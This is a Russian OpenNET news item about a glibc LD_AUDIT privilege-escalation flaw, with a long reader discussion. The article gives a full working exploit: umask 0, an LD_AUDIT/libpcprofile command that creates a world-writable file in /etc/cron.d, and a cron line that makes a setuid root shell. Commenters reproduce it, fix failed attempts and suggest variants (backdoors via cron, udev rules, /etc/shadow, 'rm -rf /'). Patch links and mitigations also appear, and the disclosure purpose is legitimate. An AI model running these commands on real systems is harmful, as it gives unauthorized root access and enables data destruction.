The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Для Glibc представлен еще один метод повышения привилегий

23.10.2010 09:19

Спустя несколько дней после обнаружения в системной библиотеке GNU C Library (glibc) уязвимости, сообщается о нахождении еще одного метода взлома, позволяющего выполнить код с привилегиями суперпользователя. В отличие от ранее представленной техники, новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию. Отдельно собщается, что проблеме не подвержена glibc из состава OpenWall и ALT Linux, так как в данных дистрибутивах изначально по умолчанию использован повышающий безопасность патч "sanitize-env".

По своей сути новая уязвимость основана на том же принципе и базируется на отсутствии должных проверок при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для которых установлен идентификатор смены владельца или группы (suid/sgid). Изначально система динамического связывания блокирует любые попытки использования LD_PRELOAD для загрузки для setuid/setgid-программ пользовательских библиотек, размещенных в нестандартный областях файловой системы (/lib, /usr/lib), но разработчики glibc сделали несколько исключений из правил для функции LD_AUDIT, наличие которых и привело к возможности осуществления атаки.

При активации режима аудита через LD_AUDIT система связывания выполняет проверку на экспорт символов для всех указанных стандартных библиотек, выполняя вызов dlopen(), который подразумевает запуск процедуры инициализации библиотеки. Техника атаки при этом сводится к инициированию загрузки подставной библиотеки в пути запуска приложения (отмеченная в прошлой уязвимости техника), либо к использованию стандартных библиотек, неучитывающих фактор наличия флага suid/sgid (euid != uid).

Проверить подверженность системы уязвимости можно следующим способом:

Убираем маску прав доступа для создаваемых файлов (при umask 0 файлы будут создаваться по умолчанию с правами "-rw-rw-rw-")

   $ umask 0

Для атаки будем использовать стандартную библиотеку профилирования libpcprofile, входящую в комплект libc:

   $ dpkg -S /lib/libpcprofile.so
   libc6: /lib/libpcprofile.so

   $ ls -l /lib/libpcprofile.so
   -rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so

Код инициализации libpcprofile не проверяет различия эффективного и текущего идентификатора пользователя, но при этом позволяет создать лог-файл, который можно создать в любой системной директории:

   $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

   ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.

Несмотря на вывод ошибки, процедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл:

   $ ls -l /etc/cron.d/exploit
   -rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit

Как видно, права доступа на созданный файл, позволяют любому пользователю записать в него любые данные, которые затем будут выполнены системой cron от пользователя root. Например:

   $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit

Через пару минут наблюдаем:

   $ ls -l /tmp/exploit
   ls: cannot access /tmp/exploit: No such file or directory
   ...
   $ ls -l /tmp/exploit
   -rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit

   $ /tmp/exploit
   # whoami
   root

Исправления уже доступны для Debian и Ubuntu. Состояние подготовки исправлений для других дистрибутивов можно отследить на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL.

  1. Главная ссылка к новости (http://seclists.org/fulldisclo...)
  2. OpenNews: В Glibc обнаружена серьезная уязвимость
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/28390-glibc
Ключевые слова: glibc, security
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (93) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.2, Зенитар (?), 10:17, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    > ALT

    Yes! У разработчиков прямые руки, да и сам дистрибутив хороший.

     
     
  • 2.94, Michael Shigorin (ok), 15:23, 24/10/2010 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Это всё Дима Левин (ldv@).
     
  • 2.96, Andrei (??), 05:45, 25/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    >> ALT
    > Yes! У разработчиков прямые руки, да и сам дистрибутив хороший.

    Если у них прямые руки, то почему их Simple Linux при установке зависает наглухо на этапе копирования файлов и, естественно, не ставится вообще? Сам пробовал, и знакомые то же самое говорят. Увы.

     

  • 1.3, ImPressed (ok), 10:25, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • –3 +/
    В Генте не пашет. Только что проверил

    impressed@satan ~ $ LD_AUDIT="libprocfile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
    ERROR: ld.so: object 'libprocfile.so' cannot be loaded as audit interface: cannot open shared object file; ignored.
    Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
                [-p pattern] [-s packetsize] [-t ttl] [-I interface]
                [-M pmtudisc-hint] [-m mark] [-S sndbuf]
                [-T tstamp-options] [-Q tos] [hop1 ...] destination
    impressed@satan ~ $ ls -al /etc/cron.d
    cron.d/     cron.daily/ cron.deny  
    impressed@satan ~ $ ls -al /etc/cron.d/
    итого 16
    drwxr-xr-x   2 root root  4096 Апр 11  2010 .
    drwxr-xr-x 122 root root 12288 Окт 23 12:21 ..
    -rw-r--r--   1 root root     0 Апр 11  2010 .keep_sys-process_vixie-cron-0
    impressed@satan ~ $ LD_AUDIT="libprocfile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
    ERROR: ld.so: object 'libprocfile.so' cannot be loaded as audit interface: cannot open shared object file; ignored.
    Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
                [-p pattern] [-s packetsize] [-t ttl] [-I interface]
                [-M pmtudisc-hint] [-m mark] [-S sndbuf]
                [-T tstamp-options] [-Q tos] [hop1 ...] destination
    impressed@satan ~ $ ls -al /etc/cron.d/
    итого 16
    drwxr-xr-x   2 root root  4096 Апр 11  2010 .
    drwxr-xr-x 122 root root 12288 Окт 23 12:21 ..
    -rw-r--r--   1 root root     0 Апр 11  2010 .keep_sys-process_vixie-cron-0

    Очередной высосанный из пальца баг

     
     
  • 2.6, Аноним (-), 10:42, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    А версия glibc какая?
     
     
  • 3.8, ImPressed (ok), 10:51, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    impressed satan lib libc-2 12 1 so GNU C Library stable release version 2 ... большой текст свёрнут, показать
     
     
  • 4.10, Аноним (-), 10:53, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    >libc-2.12.1
    >новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию
     
     
  • 5.12, Zenitur (?), 11:32, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Версия 2.12 новее версии 2.4. Легко запутаться. Да я и сам запутался...
     
  • 5.15, Ананимуз (?), 11:37, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Что-то мне подсказывает, что 2.12 более поздняя, чем 2.4.
    Gentoo, libc-2.11.2, работает.
     
     
  • 6.20, Dmitriy (??), 12:49, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • –1 +/
    gentoo, glibc 2.10.1-r1

    bazil@k4 ~ $ ls -l /tmp/exploit
    -rwsr-xr-x 1 root root 880920 Oct 23 11:45 /tmp/exploit
    bazil@k4 ~ $ /tmp/exploit
    exploit-4.0$ whoami
    bazil
    exploit-4.0$

    вот так.

     
     
  • 7.26, paxuser (ok), 13:19, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > вот так.

    Шелл сбрасывает привилегии, если uid не равен euid. /tmp/exploit -p в помощь. И неужели вас не смущает setuid-экзешник в /tmp и файл кронтаба в /etc/cron.d? Добавьте в /etc/cron.d/exploit rm -Rf / и кусайте локти.

     
     
  • 8.50, alexxy (?), 17:02, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    В генте не работает x201 lib64 libc-2 12 1 so GNU C Library stable rele... большой текст свёрнут, показать
     
     
  • 9.64, filosofem (ok), 18:34, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    umask 0 забыл... текст свёрнут, показать
     
     
  • 10.74, alexxy (?), 19:47, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Ну с umask 0 который я действительно забыл файл становится rw rw rw но это... текст свёрнут, показать
     
     
  • 11.88, User294 (ok), 00:47, 24/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    А знаете, если я могу записать в любой файл в ОС - я определенно там сделаю что ... текст свёрнут, показать
     
     
  • 12.91, alexxy (?), 02:27, 24/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Это то понятно если есть возможность записи в произвольные места то напакости... текст свёрнут, показать
     
     
  • 13.92, paxuser (ok), 03:38, 24/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Не в данном случае, а данным способом В разного рода смелых заявлениях вы не од... большой текст свёрнут, показать
     
     
  • 14.93, taaroa (ok), 07:41, 24/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    taviso i do not have time to teach these noobs basic UNIX taviso after sendi... текст свёрнут, показать
     
  • 3.21, anonymous (??), 12:50, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    У тебя просто не установлен glibc-utils
     
  • 2.33, Аноним (-), 14:28, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Исправь libprocfile.so на libpcprofile.so и все заработает, сам использую gentoo и в этот раз не поленился докопаться до сути полностью, предыдущий вариант получения root через glibc у меня не получился.
     
     
  • 3.34, Аноним (-), 14:35, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Да, не долго радовался:
    Oct 23 14:30:01 gentoo-book cron[5251]: (root) CMD (test -x /usr/sbin/run-crons && /usr/sbin/run-crons )
    Oct 23 14:31:01 gentoo-book cron[4327]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)
     
     
  • 4.54, Аноним (-), 17:27, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > Да, не долго радовался:
    > Oct 23 14:30:01 gentoo-book cron[5251]: (root) CMD (test -x /usr/sbin/run-crons && /usr/sbin/run-crons
    > )
    > Oct 23 14:31:01 gentoo-book cron[4327]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

    Например, вместо /etc/cron.d/exploit создайте /etc/logrotate.d/exploit или /etc/shadow, главное файл создается, а остальное уже от фантазии зависит.

     
  • 2.49, pavlinux (ok), 17:02, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • –3 +/
    > drwxr-xr-x 122 root root 12288 Окт 23 12:21 ..

    А чёй-то у тя директория имеет время более позднее чем созданное тут сообщение?

     
     
  • 3.85, КО (?), 22:04, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Есть такое понятие - часовой пояс. И их много.
     

  • 1.4, ImPressed (ok), 10:25, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Что-то у меня как-то ни чего не появляется в /etc/cron.d
     
     
  • 2.5, paxuser (ok), 10:37, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > Что-то у меня как-то ни чего не появляется в /etc/cron.d

    Это proof of concept, и если он не работает, это говорит о непригодности эксплойта, но не гарантирует отсутствие уязвимости.

     

  • 1.7, Аноним (-), 10:49, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    У меня в дженту с последними апдейтами работает
     
     
  • 2.9, ImPressed (ok), 10:53, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > У меня в дженту с последними апдейтами работает

    У меня не работает.

    Версия 2.12.1 с patchset 2

     
  • 2.13, Zenitur (?), 11:33, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > У меня в дженту с последними апдейтами работает

    Апдейты не последние (неосновной дистрибутив) - не работает.

     

  • 1.14, поцанчик (ok), 11:37, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    у меня арч с glibc 2.12.1 и пример не работает

    Сначало я ра надостях начал исполнять команды в консоле, и всё прошло успешно.
    но потом заметил что это у меня рутовая консоль... :-[

     
  • 1.16, Аноним (-), 11:46, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • –4 +/
    libc-2.12.1.so:

    [test@myhost ~]$ uname -a
    Linux myhost 2.6.35-ARCH #1 SMP PREEMPT Wed Sep 29 07:17:20 UTC 2010 i686 Intel(R) Core(TM)2 Duo CPU T5750 @ 2.00GHz GenuineIntel GNU/Linux
    [test@myhost ~]$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
    ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
    Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
                [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
                [-M mtu discovery hint] [-m mark] [-S sndbuf]
                [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
    [test@myhost ~]$ ls /etc/cron.d
    exploit

     
  • 1.17, Аноним (-), 12:04, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    centos-5.5 давно не обновляемая  64битная версия
    не работает
     
  • 1.18, AX (?), 12:18, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В Арче работает.

    % pacman -Qi glibc
    Название              : glibc
    Версия                : 2.12.1-2

     
     
  • 2.22, аноним (?), 13:01, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    У меня в Арче файл /etc/cron.d/exploit создаётся с правами -rw-rw-rw-
    crond прописан в /etc/rc.conf и запускается при загрузке системы.
    $ less /etc/cron.d/exploit
    * * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit

    но вот cron не исполняет то что указано в /etc/cron.d/exploit
    $ ls -l /tmp/exploit
    ls: невозможно получить доступ к /tmp/exploit: Нет такого файла или каталога

     
     
  • 3.27, stranger (??), 13:37, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Аналогично
     
     
  • 4.28, stranger (??), 13:39, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Debian Squeeze with latest updates

     
  • 3.35, eigrad (?), 14:56, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    нужно +x чтобы исполнялось, но это не важно - дырка же есть...
     
     
  • 4.36, аноним (?), 15:02, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    зачем этому файлу право на исполнение когда в нём просто хранится текстовая строка, которую cron должен прочитать и выполнить действия которые в этой строке указаны.
     

  • 1.23, paxuser (ok), 13:02, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Патч с заплаткой, работает для glibc-2.12.1 в Gentoo (проверено только с USE=hardened):
    http://sourceware.org/cgi-bin/get-raw-msg?listname=libc-hacker&date=2010-10&m
     
     
  • 2.24, paxuser (ok), 13:04, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > Патч с заплаткой, работает для glibc-2.12.1 в Gentoo (проверено только с USE=hardened):

    Пардон, в 2.11.2. :) Другие версии не смотрел.


     

  • 1.30, Иван Иванович Иванов (?), 13:49, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Fedora 13 update: https://admin.fedoraproject.org/updates/glibc-2.12.1-4
     
  • 1.31, Аноним (-), 14:10, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    *пошёл ставить selinux*
     
     
  • 2.32, Stax (ok), 14:25, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    А вот, кстати, да. Ведь selinux политика на cron (которая включена по дефолту и в редхате, и в федоре) запретит крону обрабатывать файл без контекста system_cron_spool_t.
    Т.е. на реальном продакшене на редхате или центоси, где по дурости не выключили selinux, баг работать не будет.
     
     
  • 3.39, paxuser (ok), 15:09, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Т.е. на реальном продакшене на редхате или центоси, где по дурости не
    > выключили selinux, баг работать не будет.

    Вы путаете баг и PoC-эксплойт.

     

  • 1.37, eigrad (?), 15:04, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    proof of concept достаточно хилый, подумаешь создали файл от рута, один хрен в нормальной системе не заставишь его исполняться, хоть что ты делай
     
     
  • 2.38, eigrad (?), 15:05, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > proof of concept достаточно хилый, подумаешь создали файл от рута, один хрен
    > в нормальной системе не заставишь его исполняться, хоть что ты делай

    но уязвимость в наличии, тут не поспоришь. РЕШЕТО!

     
  • 2.76, Аноним (-), 19:58, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    имеется возможность создать любой файл в любом месте.
     
  • 2.103, Pentarh (?), 20:47, 25/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Создали файл в /etc/cron.d

    Потом благодаря аттрибутам 666, записали такое в него

    * * * * * root /tmp/mybackdoor.bin > /dev/null

    И через минуту бекдор от рута висит в памяти.

    достаточно хилый?

     

  • 1.40, Андрей (??), 15:21, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    uname -a
    Linux ***************** 2.6.36-gentoo #1 SMP PREEMPT Thu Oct 21 20:45:59 MSD 2010 x86_64 AMD Athlon(tm) II X2 215 Processor AuthenticAMD GNU/Linux

    eix -I glibc
    sys-libs/glibc
         Available versions:  (2.2)

    *2.2.5-r10!s 2.5-r4!s **2.5.1!s 2.6.1!s (~)2.7-r2!s 2.8_p20080602-r1!s 2.9_p20081201-r2!s (~)2.9_p20081201-r3!s 2.10.1-r1!s 2.11.2!s (~)2.11.2-r1!s (~)2.12.1-r1!s{tbz2}
            {build crosscompile_opts_headers-only debug gd glibc-compat20 glibc-omitfp hardened multilib nls nptl nptlonly profile selinux vanilla}
         Installed versions:  2.12.1-r1(2.2)!s{tbz2}(12:06:18 21.09.2010)(multilib nls profile -crosscompile_opts_headers-only -debug -gd -glibc-omitfp -hardened -selinux -vanilla)
         Homepage:            http://www.gnu.org/software/libc/libc.html
         Description:         GNU libc6 (also called glibc2) C library

    там, наверное, ошибка? не /bin/dash, а /bin/bash ?

    $ /tmp/exploit
    exploit-4.1$            

    не работает, короче :)

     
     
  • 2.41, Андрей (??), 15:30, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Хотя, не... не ошибка

    * app-shells/dash
         Available versions:  0.5.5.1.2 (~)0.5.5.1.7 {libedit static}
         Homepage:            http://gondor.apana.org.au/~herbert/dash/
         Description:         DASH is a direct descendant of the NetBSD version of ash (the Almquist SHell) and is POSIX compliant

    только вот он у меня НЕ УСТАНОВЛЕН. Он мне нужен?
    Вобщем, уязвимость, вероятно, проявляется в определенных условиях. Не В МОИХ. :)

     
     
  • 3.42, meego (?), 15:32, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Зачем тебе линукс, если ты не понимаешь, что делаешь?
     
     
     
    Часть нити удалена модератором

  • 5.51, PavelR (??), 17:15, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Ты маленько не понимаешь того простого факта, что имея в руках запуск кроном твоего скрипта - поставить этот самый недостающий dash - раз плюнуть. Потом имеешь шелл.

    А ты упираешься: "а зачем мне в системе левый пакет". Да хоть есть пакет, хоть нету - возможность получения рутового шелла не пропадает.

    Это действительно пруф-оф-концепт, который можно юзать не только тем способом, который описан в новости, но мы можешь продолжать упираться.

     
     
  • 6.65, Андрей (??), 18:36, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Ты маленько не понимаешь того простого факта, что имея в руках запуск
    > кроном твоего скрипта - поставить этот самый недостающий dash - раз
    > плюнуть. Потом имеешь шелл.
    > А ты упираешься: "а зачем мне в системе левый пакет". Да хоть
    > есть пакет, хоть нету - возможность получения рутового шелла не пропадает.
    > Это действительно пруф-оф-концепт, который можно юзать не только тем способом, который
    > описан в новости, но мы можешь продолжать упираться.

    echo "app-shells/dash" >> /etc/portage/package.mask/app-shells

    что раньше появилось, яйцо или курица?

     
     
  • 7.71, PavelR (??), 19:25, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >что раньше появилось, яйцо или курица?

    точно знаю что раньше куриц появились бараны.

    по теме:

    А можно так.

    $ printf "* * * * * root rm /etc/portage/package.mask/app-shells\n" > /etc/cron.d/exploit

    или что там надо с файлом /etc/portage/package.mask/app-shells сделать. Делать с ним можно уже что угодно. dash - это только такой шелл. Шелл может быть любым.

     
     
  • 8.73, Андрей (??), 19:44, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    поставил dash Oct 23 19 43 01 kids cron 2257 system BAD FILE MODE etc cr... текст свёрнут, показать
     
     
  • 9.75, Андрей (??), 19:51, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    если с bin bash не сработало, с bin dash не сработало, почему оно должно срабо... текст свёрнут, показать
     
     
  • 10.80, PavelR (??), 20:38, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    При чем тут шелл etc cron d exploit создался Команды выполняет Хорошо С... текст свёрнут, показать
     
     
  • 11.81, pavlinux (ok), 20:48, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • –1 +/
    cat proc mounts 124 grep boot dev sda1 boot xfs ro,sync,nodev,relatime 0... текст свёрнут, показать
     
     
  • 12.86, zZz (?), 22:51, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    рутом можно и mount -o rw,remount boot сделать Ищщо вопросы ... текст свёрнут, показать
     
     
  • 13.87, pavlinux (ok), 00:36, 24/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Поздно, сначала надо было писать ... текст свёрнут, показать
     
  • 12.89, User294 (ok), 01:03, 24/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Эээ ты надеешься законопатить доступ в систему без пяти минут root у Или к че... текст свёрнут, показать
     
     
  • 13.90, pavlinux (ok), 01:32, 24/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ладно, проехали, поболтали и будя Да, есть рут - считай п ц системе ... текст свёрнут, показать
     
  • 2.43, paxuser (ok), 15:36, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > $ /tmp/exploit
    > exploit-4.1$

    /tmp/exploit -p


     

  • 1.44, V (??), 15:43, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    ~$ ls -l /etc/cron.d
    total 4
    -rw-rw-r-- 1 root root 4 2010-10-23 15:35 exploit

    файлик-то создаётся.. но толку от него никакого, ибо стоит cronie:

    Oct 23 15:36:01 [/usr/sbin/crond] (root) BAD FILE MODE (/etc/cron.d/exploit)

     
     
  • 2.47, Андрей (??), 16:08, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > ~$ ls -l /etc/cron.d
    > total 4
    > -rw-rw-r-- 1 root root 4 2010-10-23 15:35 exploit
    > файлик-то создаётся.. но толку от него никакого, ибо стоит cronie:
    > Oct 23 15:36:01 [/usr/sbin/crond] (root) BAD FILE MODE (/etc/cron.d/exploit)

    аналогично. но у меня vixie-cron:
    Oct 23 14:19:01 andrewisakov cron[3520]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

     
     
  • 3.53, aNoN (?), 17:26, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    На /etc/cron.d/exploit должны быть права 644, чтобы cron не ругался.
     
     
  • 4.59, pavlinux (ok), 17:37, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    А 044 нафига?
     
     
  • 5.61, daevy (ok), 17:46, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    неа((( файло не создается, в логе крона тишина
     
  • 3.57, daevy (??), 17:36, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    +1 та же байда
    Linux deceiver 2.6.35-gentoo #31 SMP Sat Sep 18 01:38:57 UTC 2010 x86_64 AMD Athlon(tm) 64 X2 Dual-Core Processor TK-55 AuthenticAMD GNU/Linux

    cron[2185]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

    vixie-cron-4.1-r10

     

  • 1.55, pavlinux (ok), 17:29, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    # tailf /var/log/messages

    Oct 23 16:57:01 suse64 /usr/sbin/cron[1577]: (system_u) BAD FILE MODE (/etc/cron.d/exploit)

    Упс... :)

     
  • 1.56, linux_must_die (ok), 17:35, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    дык это ж selinux.отключи и познай безграничное дао
     
  • 1.58, aNoN (?), 17:36, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В общем, на funtoo:
    1. Права на /etc/cron.d/exploit должны быть 644, иначе vixie-cron его в упор не видит. А создаётся сплойт с 666.

    2. Поправил права сам, cron отработал (/bin/bash в /tmp/exploit):
    -rwsr-xr-x 1 root root 893208 Окт 23 17:26 /tmp/exploit

    3. $ /tmp/exploit
    exploit-4.1$
    exploit-4.1$ whoami
    user

    Ну не работает в funtoo setuid  (:

     
     
     
    Часть нити удалена модератором

  • 3.63, aNoN (?), 18:31, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    FEATURES="sfperms" по умолчанию
     

  • 1.62, 666joy666 (ok), 18:28, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    userx@i13 ~ $ umask 0
    userx@i13 ~ $ ls /etc/cron.d
    cron.d/     cron.daily/ cron.deny  
    userx@i13 ~ $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
    ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
    Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
                [-p pattern] [-s packetsize] [-t ttl] [-I interface]
                [-M pmtudisc-hint] [-m mark] [-S sndbuf]
                [-T tstamp-options] [-Q tos] [hop1 ...] destination
    userx@i13 ~ $ ls /etc/cron.d -l
    итого 4
    -rw-rw-rw- 1 root plugdev 4 Окт 23 17:22 exploit
    userx@i13 ~ $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit
    userx@i13 ~ $ cat /etc/cron.d/exploit
    * * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit
    P.S Glibc 2.12.1-r1, Gentoo
     
  • 1.66, pavlinux (ok), 19:06, 23/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    А я веселее придумал Идем домой, cd Пишем дружественный модуль pavel sus... большой текст свёрнут, показать
     
     
  • 2.68, aNoN (?), 19:13, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    А, например, в /etc/profile.d/boo.sh "rm -rf /" запихнуть не проще будет?
     
     
  • 3.69, pavlinux (ok), 19:18, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > А, например, в /etc/profile.d/boo.sh "rm -rf /" запихнуть не проще будет?

    Запихнуть можно, но нужно чтоб его оттуда кто-то вызвал. Причём с правами рута.

    В общем, эта дыра хороший тест - "Насколько я хорошо знаю как работает Linux!" :)

     
     
  • 4.70, aNoN (?), 19:24, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    При том же рестарте системы он отработает. Или при логине рута.
     
     
  • 5.77, pavlinux (ok), 20:11, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > При том же рестарте системы он отработает. Или при логине рута.

    Да не работает оно само! Там наборы переменных и функций башовских,
    их надо включать и вызывать  

    Speшаl фо you

    pavel@suse64:~> cat /etc/profile.d/boo.sh

    #!/bin/bash

    echo "ЖОПА" > /DJOPA

    ---

    # init 6

    ...

    #  ls -pa /
    ./   boot/    dev/  home/  lib64/  mnt/  proc/  sbin/  srv/  tmp/  var/
    ../  bin/ etc/  lib/   media/  opt/  root/  sched_fair.patch  sys/  usr/  

    Нэту!


     
     
  • 6.83, aNoN (?), 21:10, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    У меня отработало.
    От юзера при логине ругается на отсутствие прав. При логине рута выполняет всё.
     
     
  • 7.84, pavlinux (ok), 21:16, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > У меня отработало.
    > От юзера при логине ругается на отсутствие прав. При логине рута выполняет
    > всё.

    Какого юзера, какого рута...


    man bash на предмет INVOCATION


     
  • 3.72, Аноним (-), 19:30, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    кстати я тоже думал в /etc/profile засунуть. интересно, а куда еще можно чего засунуть, чтобы получить рута?
     
     
  • 4.78, pavlinux (ok), 20:15, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > кстати я тоже думал в /etc/profile засунуть.

    Нельзя

    -rw-r--r-- 1 root root 9012 Авг  4  2009 /etc/profile

    > интересно, а куда еще можно чего засунуть, чтобы получить рута?

    Ну вот и проверь себя.


     
  • 4.79, pavlinux (ok), 20:23, 23/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > кстати я тоже думал в /etc/profile засунуть. интересно, а куда еще можно
    > чего засунуть, чтобы получить рута?

    В UDEV подсунь.



    $ lsusb
    Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
    Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
    Bus 002 Device 003: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)

    $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/udev/rules.d/45-svistok.rules" ping

